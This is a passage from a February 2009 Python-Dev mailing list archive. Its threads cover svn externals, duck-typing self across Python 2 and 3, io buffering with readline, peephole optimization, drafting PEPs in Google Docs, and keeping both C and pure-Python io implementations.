actions would be required. Regards, Martin From martin at v.loewis.de Wed Feb 18 22:43:27 2009 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Wed, 18 Feb 2009 22:43:27 +0100 Subject: [Python-Dev] To 3.0.2 or not to 3.0.2? In-Reply-To: <94bdd2610902180756t75f1d3f2t72c0e739638dda5c@mail.gmail.com> References: <319e029f0902161108o5bb3506fq529525d35d0f35fe@mail.gmail.com> <319e029f0902162352l13da07b8r8b0aafba66e4e7a3@mail.gmail.com> <200902171000.30304.victor.stinner@haypocalc.com> <499A9EB6.3020802@openend.se> <1afaf6160902170620u1c3604dcs4f6d1e6da7176f2f@mail.gmail.com> <94bdd2610902180756t75f1d3f2t72c0e739638dda5c@mail.gmail.com> Message-ID: <499C80FF.8040500@v.loewis.de> > this will use externals, (see http://svn.python.org/projects/distutils/trunk/) This I don't understand. There is file named EXTERNALS.txt, but I don't understand its purpose. Regards, Martin From ziade.tarek at gmail.com Wed Feb 18 23:01:11 2009 From: ziade.tarek at gmail.com (=?ISO-8859-1?Q?Tarek_Ziad=E9?=) Date: Wed, 18 Feb 2009 23:01:11 +0100 Subject: [Python-Dev] To 3.0.2 or not to 3.0.2? In-Reply-To: <499C80FF.8040500@v.loewis.de> References: <319e029f0902161108o5bb3506fq529525d35d0f35fe@mail.gmail.com> <319e029f0902162352l13da07b8r8b0aafba66e4e7a3@mail.gmail.com> <200902171000.30304.victor.stinner@haypocalc.com> <499A9EB6.3020802@openend.se> <1afaf6160902170620u1c3604dcs4f6d1e6da7176f2f@mail.gmail.com> <94bdd2610902180756t75f1d3f2t72c0e739638dda5c@mail.gmail.com> <499C80FF.8040500@v.loewis.de> Message-ID: <94bdd2610902181401j6a327371m254643e7453a3ec0@mail.gmail.com> 2009/2/18 "Martin v. L?wis" : >> this will use externals, (see http://svn.python.org/projects/distutils/trunk/) > > This I don't understand. There is file named EXTERNALS.txt, but I don't > understand its purpose. This is how I work with externals. This file is used to store the svn:externals property and have it in a clear human readable text filethat can be seen in any svn viewer. If I need to change the externals I change this file and do: $ svn propset svn:externals -F EXTERNALS.txt $ svn ci . EXTERNALS.txt -m "comment" then, if you do a checkout of http://svn.python.org/projects/distutils/trunk it will grab Python's Lib/distutils. Let me know if this is not wanted. I can drop it it's no big deal. Regards Tarek > > Regards, > Martin > -- Tarek Ziad? | Association AfPy | www.afpy.org Blog FR | http://programmation-python.org Blog EN | http://tarekziade.wordpress.com/ From martin at v.loewis.de Wed Feb 18 23:09:56 2009 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Wed, 18 Feb 2009 23:09:56 +0100 Subject: [Python-Dev] To 3.0.2 or not to 3.0.2? In-Reply-To: <94bdd2610902181401j6a327371m254643e7453a3ec0@mail.gmail.com> References: <319e029f0902161108o5bb3506fq529525d35d0f35fe@mail.gmail.com> <319e029f0902162352l13da07b8r8b0aafba66e4e7a3@mail.gmail.com> <200902171000.30304.victor.stinner@haypocalc.com> <499A9EB6.3020802@openend.se> <1afaf6160902170620u1c3604dcs4f6d1e6da7176f2f@mail.gmail.com> <94bdd2610902180756t75f1d3f2t72c0e739638dda5c@mail.gmail.com> <499C80FF.8040500@v.loewis.de> <94bdd2610902181401j6a327371m254643e7453a3ec0@mail.gmail.com> Message-ID: <499C8734.7080306@v.loewis.de> > Let me know if this is not wanted. I can drop it it's no big deal. That is fine with me. I was worried that you might have made Lib/distutils external, which I would not have liked. Regards, Martin From ajaksu at gmail.com Wed Feb 18 23:34:14 2009 From: ajaksu at gmail.com (Daniel (ajax) Diniz) Date: Wed, 18 Feb 2009 19:34:14 -0300 Subject: [Python-Dev] Tracker cleanup roadmap In-Reply-To: References: <2d75d7660902161920g61c83d5btdcaf831ee6b04fa@mail.gmail.com> <499A721E.4060007@v.loewis.de> Message-ID: <2d75d7660902181434u6dba8378tc3f693678b9ca6ff@mail.gmail.com> Hi Venkatraman, Venkatraman S wrote: > > On Tue, Feb 17, 2009 at 1:45 PM, "Martin v. L?wis" wrote: >> >> Don't expect too much >> help from other people - I have been waiting for volunteers to show up >> helping with the tracker for more than a year now. > > I have been mostly a silent spectator around and would like to chip in. Great! Thanks for joining us :) What would you like to help with? Anyway, let's move this thread to tracker-discuss :) > Need some initial throttle(help) for the full-fledged attack :) Well, I'm currently updating the TrackerDevelopment[1] article and trying to make the initial setup easier. These should help a bit, but I'd be glad to (try to) answer any questions you have. Please let me know (or mail tracker-discuss[2]) if something on the guide isn't clear (you can, of course, edit it directly). "Martin v. L?wis" wrote: > Please take a look at the meta tracker. It has various open issues, many > open for many months now. Please tackle one that can be fixed through > patches to the tracker instance preferably; changes to roundup are also > acceptable in principle. Agreed, if you want to get to know the code and at the same time work on something useful, taking a look at the meta tracker[3] is a great first step. Welcome aboard! Daniel [1] http://wiki.python.org/moin/TrackerDevelopment [2] http://mail.python.org/mailman/listinfo/tracker-discuss [3] http://psf.upfronthosting.co.za/roundup/meta/ :) From srittau at jroger.in-berlin.de Wed Feb 18 23:32:09 2009 From: srittau at jroger.in-berlin.de (Sebastian Rittau) Date: Wed, 18 Feb 2009 23:32:09 +0100 Subject: [Python-Dev] Duck-typing self Message-ID: <20090218223209.GA5978@jroger.in-berlin.de> Hi! I am curious why the following will not work in Python: class foo(object): def bar(self): print self.attr class duck(object): attr = 3.14 foo.bar(duck()) Is it a design decision that duck-typing self does not work or is there a technical reason? From a practical standpoint it seems that being able to duck-type self has merit, for example in unit testing complex classes. - Sebastian From steven.bethard at gmail.com Thu Feb 19 00:30:14 2009 From: steven.bethard at gmail.com (Steven Bethard) Date: Wed, 18 Feb 2009 15:30:14 -0800 Subject: [Python-Dev] Duck-typing self In-Reply-To: <20090218223209.GA5978@jroger.in-berlin.de> References: <20090218223209.GA5978@jroger.in-berlin.de> Message-ID: On Wed, Feb 18, 2009 at 2:32 PM, Sebastian Rittau wrote: > Hi! > > I am curious why the following will not work in Python: > > class foo(object): > def bar(self): > print self.attr > > class duck(object): > attr = 3.14 > > foo.bar(duck()) > > Is it a design decision that duck-typing self does not work or is there a > technical reason? From a practical standpoint it seems that being able to > duck-type self has merit, for example in unit testing complex classes. Works for me in 3.0: Python 3.1a0 (py3k:69082, Jan 28 2009, 19:22:10) [MSC v.1500 32 bit (Intel)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> class Foo(object): ... def bar(self): ... print(self.attr) ... >>> class Duck(object): ... attr = 3.14 ... >>> Foo.bar(Duck()) 3.14 Steve -- I'm not *in*-sane. Indeed, I am so far *out* of sane that you appear a tiny blip on the distant coast of sanity. --- Bucky Katt, Get Fuzzy From lists at cheimes.de Thu Feb 19 01:50:37 2009 From: lists at cheimes.de (Christian Heimes) Date: Thu, 19 Feb 2009 01:50:37 +0100 Subject: [Python-Dev] Duck-typing self In-Reply-To: References: <20090218223209.GA5978@jroger.in-berlin.de> Message-ID: Steven Bethard wrote: >> Is it a design decision that duck-typing self does not work or is there a >> technical reason? From a practical standpoint it seems that being able to >> duck-type self has merit, for example in unit testing complex classes. > > Works for me in 3.0: It works in 3.0 because we have lifted some restrictions (and increased speed as a neat side effect). In Python 2.x the type checking speed with negligible, but Python 3's abc system with the new __instancecheck__() and __subclasscheck__() hooks are a real speed drain. In 2.x a class objects wrap their functions in a method wrapper. The method wrapper does the type check. You can get around the type check by using the im_func attribute of the method wrapper. Python 2.5.2 (r252:60911, Oct 5 2008, 19:29:17) [GCC 4.3.2] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> class Foo(object): ... def bar(self): ... print(self.attr) ... >>> Foo.bar >>> class Duck(object): ... attr = "python" ... >>> Foo.bar(Duck()) Traceback (most recent call last): File "", line 1, in TypeError: unbound method bar() must be called with Foo instance as first argument (got Duck instance instead) >>> Foo.bar.im_func >>> Foo.bar.im_func(Duck()) python In 3.0 the unbound method wrapper is gone and class objects return the pure function. Without the type checking of the unbound method wrapper the restriction is gone. Python 3.0.1 (r301:69655, Feb 15 2009, 23:28:13) [GCC 4.3.2] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> class Foo(object): ... def bar(self): ... print(self.attr) ... >>> Foo.bar >>> class Duck(object): ... attr = "python" ... >>> Foo.bar(Duck()) python HTH Christian From greg.ewing at canterbury.ac.nz Thu Feb 19 02:39:07 2009 From: greg.ewing at canterbury.ac.nz (Greg Ewing) Date: Thu, 19 Feb 2009 14:39:07 +1300 Subject: [Python-Dev] Duck-typing self In-Reply-To: <20090218223209.GA5978@jroger.in-berlin.de> References: <20090218223209.GA5978@jroger.in-berlin.de> Message-ID: <499CB83B.8060907@canterbury.ac.nz> Sebastian Rittau wrote: > Is it a design decision that duck-typing self does not work or is there a > technical reason? There's no technical reason as far as user-defined classes are concerned. I think it was introduced to help catch errors due to making inherited method calls to the wrong class, which can easily happen if you change the base class of a class and forget to update all of the inherited calls to match. I believe this type check has been removed in 3.0, so duck-typing of self is possible there. -- Greg From greg.ewing at canterbury.ac.nz Thu Feb 19 02:48:51 2009 From: greg.ewing at canterbury.ac.nz (Greg Ewing) Date: Thu, 19 Feb 2009 14:48:51 +1300 Subject: [Python-Dev] Duck-typing self In-Reply-To: References: <20090218223209.GA5978@jroger.in-berlin.de> Message-ID: <499CBA83.8040306@canterbury.ac.nz> Christian Heimes wrote: > In 2.x a class objects wrap their functions in a method wrapper. The > method wrapper does the type check. You can get around the type check by > using the im_func attribute of the method wrapper. You could probably also create a decorator that gives you something behaving like an unbound method but without the type check (implementation details left to the reader). -- Greg From mike.klaas at gmail.com Thu Feb 19 02:53:52 2009 From: mike.klaas at gmail.com (Mike Klaas) Date: Wed, 18 Feb 2009 17:53:52 -0800 Subject: [Python-Dev] a nicer looking dir() Message-ID: Someone has implemented a version of dir() which is much nicer for human consumption. The difference is striking enough that I thought it would be bringing to python-dev's attention. http://github.com/inky/see/tree/master >>> pencil_case = [] >>> dir(pencil_case) ['__add__', '__class__', '__contains__', '__delattr__', '__delitem__', '__delsli ce__', '__doc__', '__eq__', '__ge__', '__getattribute__', '__getitem__', '__gets lice__', '__gt__', '__hash__', '__iadd__', '__imul__', '__init__', '__iter__', ' __le__', '__len__', '__lt__', '__mul__', '__ne__', '__new__', '__reduce__', '__r educe_ex__', '__repr__', '__reversed__', '__rmul__', '__setattr__', '__setitem__ ', '__setslice__', '__str__', 'append', 'count', 'extend', 'index', 'insert', 'p op', 'remove', 'reverse', 'sort'] >>> see(pencil_case) ? [] for in + * += *= < <= == != > >= len() .append() .count() .extend() .index() .insert() .pop() .remove() .reverse() .sort() I'm not sure that this type of functionality merits a new built-in, but it might be useful as part of help()'s output. -Mike From seefeld at sympatico.ca Wed Feb 18 23:57:25 2009 From: seefeld at sympatico.ca (Stefan Seefeld) Date: Wed, 18 Feb 2009 17:57:25 -0500 Subject: [Python-Dev] [Tracker-discuss] Tracker cleanup roadmap In-Reply-To: <2d75d7660902181434u6dba8378tc3f693678b9ca6ff@mail.gmail.com> References: <2d75d7660902161920g61c83d5btdcaf831ee6b04fa@mail.gmail.com> <499A721E.4060007@v.loewis.de> <2d75d7660902181434u6dba8378tc3f693678b9ca6ff@mail.gmail.com> Message-ID: <499C9255.3030309@sympatico.ca> Hi there, this is just a little note / reminder to try to submit Roundup patches and enhancements that you may have accumulated while working on the bugs.python.org tracker. A couple of weeks ago I moved the Roundup project's own tracker close to where bugs.python.org is hosted, and am now actively developing Roundup again (at least for a while). So this is a good time to get in touch to merge things upstream. :-) (See http://www.roundup-tracker.org.) Thanks, Stefan -- ...ich hab' noch einen Koffer in Berlin... From rdmurray at bitdance.com Thu Feb 19 03:38:06 2009 From: rdmurray at bitdance.com (rdmurray at bitdance.com) Date: Wed, 18 Feb 2009 21:38:06 -0500 (EST) Subject: [Python-Dev] lifting of prohibition against readlines inside a "for line in file" in Py3? In-Reply-To: References: <499C7B7E.5080005@gmail.com> Message-ID: On Wed, 18 Feb 2009 at 21:25, Antoine Pitrou wrote: > Nick Coghlan gmail.com> writes: >> >> I *think* the 2.x system had an internal buffer that was used by the >> file iterator, but not by the file methods. With the new IO stack for >> 3.0, there is now a common buffer shared by all the file operations >> (including iteration). >> >> However, given that the lifting of the restriction is currently >> undocumented, I wouldn't want to see a commitment to keeping it lifted >> until we know that it won't cause any problems for the io-in-c rewrite >> for 3.1 (hopefully someone with more direct involvement with that >> rewrite will chime in, since they'll know a lot more about it than I do). > > As you said, there is no special buffering for the file iterator in 3.x, which > means the restriction could be lifted (actually there is nothing relying on this > restriction in the current code, except perhaps the "telling" flag in > TextIOWrapper). Currently I have python (2.x) code that uses 'readline' instead of 'for x in myfile' in order to avoid the 'for' buffering (ie: be presented with the next line as soon as it is written to the other end of a pipe, instead of waiting for the buffer to fill). Does "no special buffering" mean that 'for' doesn't use a read-ahead buffer in p3k, or that readline does use such a buffer, because the latter could make my code break unexpectedly when porting to p3k. --RDM From guido at python.org Thu Feb 19 05:31:54 2009 From: guido at python.org (Guido van Rossum) Date: Wed, 18 Feb 2009 20:31:54 -0800 Subject: [Python-Dev] lifting of prohibition against readlines inside a "for line in file" in Py3? In-Reply-To: References: <499C7B7E.5080005@gmail.com> Message-ID: On Wed, Feb 18, 2009 at 6:38 PM, wrote: > On Wed, 18 Feb 2009 at 21:25, Antoine Pitrou wrote: >> >> Nick Coghlan gmail.com> writes: >>> >>> I *think* the 2.x system had an internal buffer that was used by the >>> file iterator, but not by the file methods. With the new IO stack for >>> 3.0, there is now a common buffer shared by all the file operations >>> (including iteration). >>> >>> However, given that the lifting of the restriction is currently >>> undocumented, I wouldn't want to see a commitment to keeping it lifted >>> until we know that it won't cause any problems for the io-in-c rewrite >>> for 3.1 (hopefully someone with more direct involvement with that >>> rewrite will chime in, since they'll know a lot more about it than I do). >> >> As you said, there is no special buffering for the file iterator in 3.x, >> which >> means the restriction could be lifted (actually there is nothing relying >> on this >> restriction in the current code, except perhaps the "telling" flag in >> TextIOWrapper). > > Currently I have python (2.x) code that uses 'readline' instead of 'for > x in myfile' in order to avoid the 'for' buffering (ie: be presented > with the next line as soon as it is written to the other end of a pipe, > instead of waiting for the buffer to fill). Does "no special buffering" > mean that 'for' doesn't use a read-ahead buffer in p3k, or that readline > does use such a buffer, because the latter could make my code break > unexpectedly when porting to p3k. Have a look at the code in io.py (class TextIOWrapper): http://svn.python.org/view/python/branches/py3k/Lib/io.py?view=log I believe it doesn't force reading ahead more than necessary. If a single low-level read() returns enough data to satisfy the __next__() or readline() (or it can be satisfied from data already buffered) then it won't force reading more. -- --Guido van Rossum (home page: http://www.python.org/~guido/) From ncoghlan at gmail.com Thu Feb 19 11:41:50 2009 From: ncoghlan at gmail.com (Nick Coghlan) Date: Thu, 19 Feb 2009 20:41:50 +1000 Subject: [Python-Dev] lifting of prohibition against readlines inside a "for line in file" in Py3? In-Reply-To: References: Message-ID: <499D376E.6040702@gmail.com> Terry Reedy wrote: > I suspect your original query got lost in the shuffle. If you do not > get an answer this time, file an issue on the tracker bugs.python.org > but do not select whether it is a behavior or doc issue. At least, it > will stay open until resolved. Filing a tracker issue is probably a good idea regardless. Cheers, Nick. -- Nick Coghlan | ncoghlan at gmail.com | Brisbane, Australia --------------------------------------------------------------- From venkat83 at gmail.com Thu Feb 19 14:53:12 2009 From: venkat83 at gmail.com (Venkatraman S) Date: Thu, 19 Feb 2009 19:23:12 +0530 Subject: [Python-Dev] Peephole Optimization Message-ID: Hi, I was looking around possibilities of bytecode optimizations in cpython and was looking at some older bugs. One of them being issue#2499; the following line kind of confuses me and wasnt sure what exactly Raymond(et al) is planning, as i presume that bytecode optimizations are much _easier_ than optimizations in AST. "Most of the peepholer is going to be migrated up the chain, after the AST is generated, but before the opcodes are generated." If there are some optimizations that can be done in the bytecodes, then 'where' would be the suggested place to incorporate the same; as i also see that some of the more rudimentary optimizations have been rejected in many of the patches. Regards, -V- -------------- next part -------------- An HTML attachment was scrubbed... URL: From olemis at gmail.com Thu Feb 19 15:14:40 2009 From: olemis at gmail.com (Olemis Lang) Date: Thu, 19 Feb 2009 09:14:40 -0500 Subject: [Python-Dev] Peephole Optimization In-Reply-To: References: Message-ID: <24ea26600902190614w1d546c4em263f319874c232c6@mail.gmail.com> On Thu, Feb 19, 2009 at 8:53 AM, Venkatraman S wrote: > Hi, Hi ... > > If there are some optimizations that can be done in the bytecodes, then > 'where' would be > the suggested place to incorporate the same; The way I modify function's bytecode now (... but I am open to further suggestions ... ;) is writing decorators ... but this is not valid for more general transformations (AFAICS ...). -- Regards, Olemis. Blog ES: http://simelo-es.blogspot.com/ Blog EN: http://simelo-en.blogspot.com/ Featured article: From python at rcn.com Thu Feb 19 19:20:22 2009 From: python at rcn.com (Raymond Hettinger) Date: Thu, 19 Feb 2009 10:20:22 -0800 Subject: [Python-Dev] Peephole Optimization References: Message-ID: [Venkatraman S] > the following line > kind of confuses me and wasnt sure what exactly Raymond(et al) is planning, I think the AST optimization work is being pursued by tlee. See his current results on the branch: tlee-ast-optimize/ I don't know if this work has stalled but it was off to a good start. > as i presume > that bytecode optimizations are much _easier_ than optimizations in AST. . . . > "Most of the peepholer is going to be migrated up the chain, > after the AST is generated, but before the opcodes are generated." I don't think your presumption is true. For some transformations (especially constant folding), more is possible with AST than with bytecode. We won't know for sure until the work is done and there is a good, working patch. Right now, the peepholer is limited by basic blocks, by only rewriting opcode sequences that are same or shorter size, and has to do tricks like writing-out NOPs and the eliminating them while rewriting the jump targets. Essentially, it disassembles fragments, analyzes them, and reassembles them. Better to start before the assembly, do the AST rewrites, and then less the existing assembler do its thing. When it comes to optimizing long fragements and extended args, the peepholer punts and does nothing. All of this makes it tightly bound to a given set of opcodes and everything must be re-evaluated whenever someone proposes a new opcode or changes the meaning of the existing code. > If there are some optimizations that can be done in the bytecodes, > then 'where' would be the suggested place to incorporate the same; The "where" is being developed. Your help would be welcome. > as i also see that some of the more rudimentary > optimizations have been rejected in many of the patches. A number of patches have been accepted. The ones that were rejected were either too complicated, interfered with other optimizations, or did too much work for too little payoff (i.e. deadcode elimination which costs compilation time but doesn't actually speedup code). Raymond From rdmurray at bitdance.com Thu Feb 19 22:41:03 2009 From: rdmurray at bitdance.com (rdmurray at bitdance.com) Date: Thu, 19 Feb 2009 16:41:03 -0500 (EST) Subject: [Python-Dev] lifting of prohibition against readlines inside a "for line in file" in Py3? In-Reply-To: References: <499C7B7E.5080005@gmail.com> Message-ID: On Wed, 18 Feb 2009 at 20:31, Guido van Rossum wrote: > On Wed, Feb 18, 2009 at 6:38 PM, wrote: >> On Wed, 18 Feb 2009 at 21:25, Antoine Pitrou wrote: >>> >>> Nick Coghlan gmail.com> writes: >>>> >>>> I *think* the 2.x system had an internal buffer that was used by the >>>> file iterator, but not by the file methods. With the new IO stack for >>>> 3.0, there is now a common buffer shared by all the file operations >>>> (including iteration). >>>> >>>> However, given that the lifting of the restriction is currently >>>> undocumented, I wouldn't want to see a commitment to keeping it lifted >>>> until we know that it won't cause any problems for the io-in-c rewrite >>>> for 3.1 (hopefully someone with more direct involvement with that >>>> rewrite will chime in, since they'll know a lot more about it than I do). >>> >>> As you said, there is no special buffering for the file iterator in 3.x, >>> which >>> means the restriction could be lifted (actually there is nothing relying >>> on this >>> restriction in the current code, except perhaps the "telling" flag in >>> TextIOWrapper). >> >> Currently I have python (2.x) code that uses 'readline' instead of 'for >> x in myfile' in order to avoid the 'for' buffering (ie: be presented >> with the next line as soon as it is written to the other end of a pipe, >> instead of waiting for the buffer to fill). Does "no special buffering" >> mean that 'for' doesn't use a read-ahead buffer in p3k, or that readline >> does use such a buffer, because the latter could make my code break >> unexpectedly when porting to p3k. > > Have a look at the code in io.py (class TextIOWrapper): > > http://svn.python.org/view/python/branches/py3k/Lib/io.py?view=log > > I believe it doesn't force reading ahead more than necessary. If a > single low-level read() returns enough data to satisfy the __next__() > or readline() (or it can be satisfied from data already buffered) then > it won't force reading more. Hmm. I'm not sure I'm reading the code right, but it looks from the docstrings like TextIOWrapper expects to read from a BufferedIOBase object, whose doc string contains this comment: If the argument is positive, and the underlying raw stream is not 'interactive', multiple raw reads may be issued to satisfy the byte count (unless EOF is reached first). But for interactive raw streams (XXX and for pipes?), at most one raw read will be issued, and a short result does not imply that EOF is imminent. Since the 'pipe' comment is an XXX, it is not clear that my use case is covered. However, the actual implementation of readinto seems to only call 'read' once, so as long as the 'read' of the subclass returns whatever bytes are available, then it looks good to me :) Since TextIOWrapper is careful to call 'read1' on the wrapped buffer object, and the one place that 'read1' has a docstring clearly indicates that it does at most one read and returns whatever data is ready, it seems that the _intent_ of the code is as you expressed. I'm a python programmer first, and my C is pretty rusty, so I'm not sure if I'm up to looking through the new C code to see how this got translated. I'm thinking that both my use case (and in my case 'for' should now work for me) and the OP's are the way it is intended to work, but documentation of this seems like it would be a good idea. Since the OP doesn't seem to have opened a ticket, I did so: http://bugs.python.org/issue5323. As I said there, I'm willing to work on doc and test patches if this is the behavior the io library is required to have in 3.x. --RDM From solipsis at pitrou.net Thu Feb 19 22:56:18 2009 From: solipsis at pitrou.net (Antoine Pitrou) Date: Thu, 19 Feb 2009 21:56:18 +0000 (UTC) Subject: [Python-Dev] lifting of prohibition against readlines inside a "for line in file" in Py3? References: <499C7B7E.5080005@gmail.com> Message-ID: Hello, bitdance.com> writes: > > Since the 'pipe' comment is an XXX, it is not clear that my use case > is covered. However, the actual implementation of readinto seems to > only call 'read' once, so as long as the 'read' of the subclass returns > whatever bytes are available, then it looks good to me :) The only thing I can say is that it should work as you expect it to. But it would be great if you could give it a try and share your observations with us. We haven't had many people report on real-world uses of the new IO library (although we could optimistically deduce from it that people aren't having any problems, except for the speed issue). Regards Antoine. From turnbull at sk.tsukuba.ac.jp Fri Feb 20 04:17:10 2009 From: turnbull at sk.tsukuba.ac.jp (Stephen J. Turnbull) Date: Fri, 20 Feb 2009 12:17:10 +0900 Subject: [Python-Dev] A suggestion: Do proto-PEPs in Google Docs In-Reply-To: References: <499C6E00.2030602@canterbury.ac.nz> <499CC6E8.5050104@ronadam.com> <499D243B.8080801@canterbury.ac.nz> <499D2740.1070408@canterbury.ac.nz> <499D3086.6020706@canterbury.ac.nz> Message-ID: <87tz6ppzk9.fsf@xemacs.org> [Aside to Guido: Oops, I think I accidentally sent you a contentless reply. Sorry!] As a suggestion, I think this is relevant to everybody who might be writing a PEP, so I'm cross-posting to Python-Dev. Probably no discussion is needed, but Reply-To is set to Python-Ideas. On Python-Ideas, Guido van Rossum writes: > On Thu, Feb 19, 2009 at 2:12 AM, Greg Ewing wrote: > > Fifth draft of the PEP. Re-worded a few things slightly > > to hopefully make the proposal a bit clearer up front. > > Wow, how I long for the days when we routinely put things like this > under revision control so its easy to compare versions. FWIW, Google Docs is almost there. Working with Brett et al on early drafts of PEP 0374 was easy and pleasant, and Google Docs gives control of access to the document to the editor, not the Subversion admin. The ability to make comments that are not visible to non-editors was nice. Now that it's in Subversion it's much less convenient for me (a non-committer). I actually have to *decide* to work on it, rather than simply raising a browser window, hitting "refresh" and fixing a typo or two (then back to "day job" work). The main problem with Google Docs is that is records a revision automatically every so often (good) but doesn't prune the automatic commits (possibly hard to do efficiently) OR mark user saves specially (easy to do). This lack of marking "important" revisions makes the diff functionality kind of tedious. I don't know how automatic the conversion to reST was, but the PEP in Subversion is a quite accurate conversion of the Google Doc version. Overall, I recommend use of Google Docs for "Python-Ideas" level of PEP drafts. From benjamin at python.org Fri Feb 20 04:41:51 2009 From: benjamin at python.org (Benjamin Peterson) Date: Thu, 19 Feb 2009 21:41:51 -0600 Subject: [Python-Dev] IO implementation: in C and Python? Message-ID: <1afaf6160902191941l416c96dei30adc8ce4bb35b81@mail.gmail.com> As we prepare to merge the io-c branch, the question has come up [1] about the original Python implementation. Should it just be deleted in favor C version? The wish to maintain the two implementations together has been raised on the basis that Python is easier to experiment on and read (for other vm implementors). Thoughts? http://bugs.python.org/issue4565 -- Regards, Benjamin From rdmurray at bitdance.com Fri Feb 20 05:27:56 2009 From: rdmurray at bitdance.com (rdmurray at bitdance.com) Date: Thu, 19 Feb 2009 23:27:56 -0500 (EST) Subject: [Python-Dev] IO implementation: in C and Python? In-Reply-To: <1afaf6160902191941l416c96dei30adc8ce4bb35b81@mail.gmail.com> References: <1afaf6160902191941l416c96dei30adc8ce4bb35b81@mail.gmail.com> Message-ID: On Thu, 19 Feb 2009 at 21:41, Benjamin Peterson wrote: > As we prepare to merge the io-c branch, the question has come up [1] > about the original Python implementation. Should it just be deleted in > favor C version? The wish to maintain the two implementations together > has been raised on the basis that Python is easier to experiment on > and read (for other vm implementors). I'm personally +0 on this, but I note that it is easier to read not just for other vm implementors, but for users. Witness the question about the behavior of 'for' vs 'readline'. I'd have had a much harder time figuring out the behavior if I'd had to read the C code. That said, I'm not personally sure if maintaining both versions is worth it. Real python developers should make that decision :) --RDM From brett at python.org Fri Feb 20 05:38:53 2009 From: brett at python.org (Brett Cannon) Date: Thu, 19 Feb 2009 20:38:53 -0800 Subject: [Python-Dev] IO implementation: in C and Python? In-Reply-To: <1afaf6160902191941l416c96dei30adc8ce4bb35b81@mail.gmail.com> References: <1afaf6160902191941l416c96dei30adc8ce4bb35b81@mail.gmail.com> Message-ID: On Thu, Feb 19, 2009 at 19:41, Benjamin Peterson wrote: > As we prepare to merge the io-c branch, the question has come up [1] > about the original Python implementation. Should it just be deleted in > favor C version? The wish to maintain the two implementations together > has been raised on the basis that Python is easier to experiment on > and read (for other vm implementors). > Probably not a surprise, but +1 from me for keeping the pure Python version around for the benefit of other VMs as well as a reference implementation. -Brett -------------- next part -------------- An HTML attachment was scrubbed... URL: From collinw at gmail.com Fri Feb 20 06:03:59 2009 From: collinw at gmail.com (Collin Winter) Date: Thu, 19 Feb 2009 21:03:59 -0800 Subject: [Python-Dev] A suggestion: Do proto-PEPs in Google Docs In-Reply-To: <87tz6ppzk9.fsf@xemacs.org> References: <499C6E00.2030602@canterbury.ac.nz> <499CC6E8.5050104@ronadam.com> <499D243B.8080801@canterbury.ac.nz> <499D2740.1070408@canterbury.ac.nz> <499D3086.6020706@canterbury.ac.nz> <87tz6ppzk9.fsf@xemacs.org> Message-ID: <43aa6ff70902192103g70d282e0p20fcb0c961d407d0@mail.gmail.com> On Thu, Feb 19, 2009 at 7:17 PM, Stephen J. Turnbull wrote: > On Python-Ideas, Guido van Rossum writes: > > > On Thu, Feb 19, 2009 at 2:12 AM, Greg Ewing wrote: > > > > Fifth draft of the PEP. Re-worded a few things slightly > > > to hopefully make the proposal a bit clearer up front. > > > > Wow, how I long for the days when we routinely put things like this > > under revision control so its easy to compare versions. > > FWIW, Google Docs is almost there. Working with Brett et al on early > drafts of PEP 0374 was easy and pleasant, and Google Docs gives > control of access to the document to the editor, not the Subversion > admin. The ability to make comments that are not visible to > non-editors was nice. Now that it's in Subversion it's much less > convenient for me (a non-committer). I actually have to *decide* to > work on it, rather than simply raising a browser window, hitting > "refresh" and fixing a typo or two (then back to "day job" work). > > The main problem with Google Docs is that is records a revision > automatically every so often (good) but doesn't prune the automatic > commits (possibly hard to do efficiently) OR mark user saves specially > (easy to do). This lack of marking "important" revisions makes the > diff functionality kind of tedious. > > I don't know how automatic the conversion to reST was, but the PEP in > Subversion is a quite accurate conversion of the Google Doc version. > > Overall, I recommend use of Google Docs for "Python-Ideas" level of > PEP drafts. Rietveld would also be a good option: it offers more at-will revision control (rather than "whenever Google Docs decides"), allows you to attach comments to the revisions, and will give you nice diffs between PEP iterations. Collin From guido at python.org Fri Feb 20 06:07:29 2009 From: guido at python.org (Guido van Rossum) Date: Thu, 19 Feb 2009 21:07:29 -0800 Subject: [Python-Dev] IO implementation: in C and Python? In-Reply-To: References: <1afaf6160902191941l416c96dei30adc8ce4bb35b81@mail.gmail.com> Message-ID: On Thu, Feb 19, 2009 at 8:38 PM, Brett Cannon wrote: > On Thu, Feb 19, 2009 at 19:41, Benjamin Peterson > wrote: >> As we prepare to merge the io-c branch, the question has come up [1] >> about the original Python implementation. Should it just be deleted in >> favor C version? The wish to maintain the two implementations together >> has been raised on the basis that Python is easier to experiment on >> and read (for other vm implementors). > > Probably not a surprise, but +1 from me for keeping the pure Python version > around for the benefit of other VMs as well as a reference implementation. You have been practice channeling me again, haven't you? I like the idea of having two (closely matching) implementations very much. In 2.x we did this on an ad-hoc basis, e.g. [c]StringIO, pickle/cPickle, heapq/_heapq. In 3.0 we've moved towards standardizing the approach -- the foo.py file first defines everything and then tries to import * from _foo on top of that. -- --Guido van Rossum (home page: http://www.python.org/~guido/) From collinw at gmail.com Fri Feb 20 06:09:17 2009 From: collinw at gmail.com (Collin Winter) Date: Thu, 19 Feb 2009 21:09:17 -0800 Subject: [Python-Dev] IO implementation: in C and Python? In-Reply-To: References: <1afaf6160902191941l416c96dei30adc8ce4bb35b81@mail.gmail.com> Message-ID: <43aa6ff70902192109s440b8d4drd1f001169021ee5e@mail.gmail.com> On Thu, Feb 19, 2009 at 9:07 PM, Guido van Rossum wrote: > On Thu, Feb 19, 2009 at 8:38 PM, Brett Cannon wrote: >> On Thu, Feb 19, 2009 at 19:41, Benjamin Peterson >> wrote: >>> As we prepare to merge the io-c branch, the question has come up [1] >>> about the original Python implementation. Should it just be deleted in >>> favor C version? The wish to maintain the two implementations together >>> has been raised on the basis that Python is easier to experiment on >>> and read (for other vm implementors). >> >> Probably not a surprise, but +1 from me for keeping the pure Python version >> around for the benefit of other VMs as well as a reference implementation. > > You have been practice channeling me again, haven't you? I like the > idea of having two (closely matching) implementations very much. Agreed. In particular, this helps any projects that are focused on improving the performance of pure-Python code: they can work on minimizing the delta between the Python and C versions. Collin From steve at pearwood.info Fri Feb 20 06:35:03 2009 From: steve at pearwood.info (Steven D'Aprano) Date: Fri, 20 Feb 2009 16:35:03 +1100 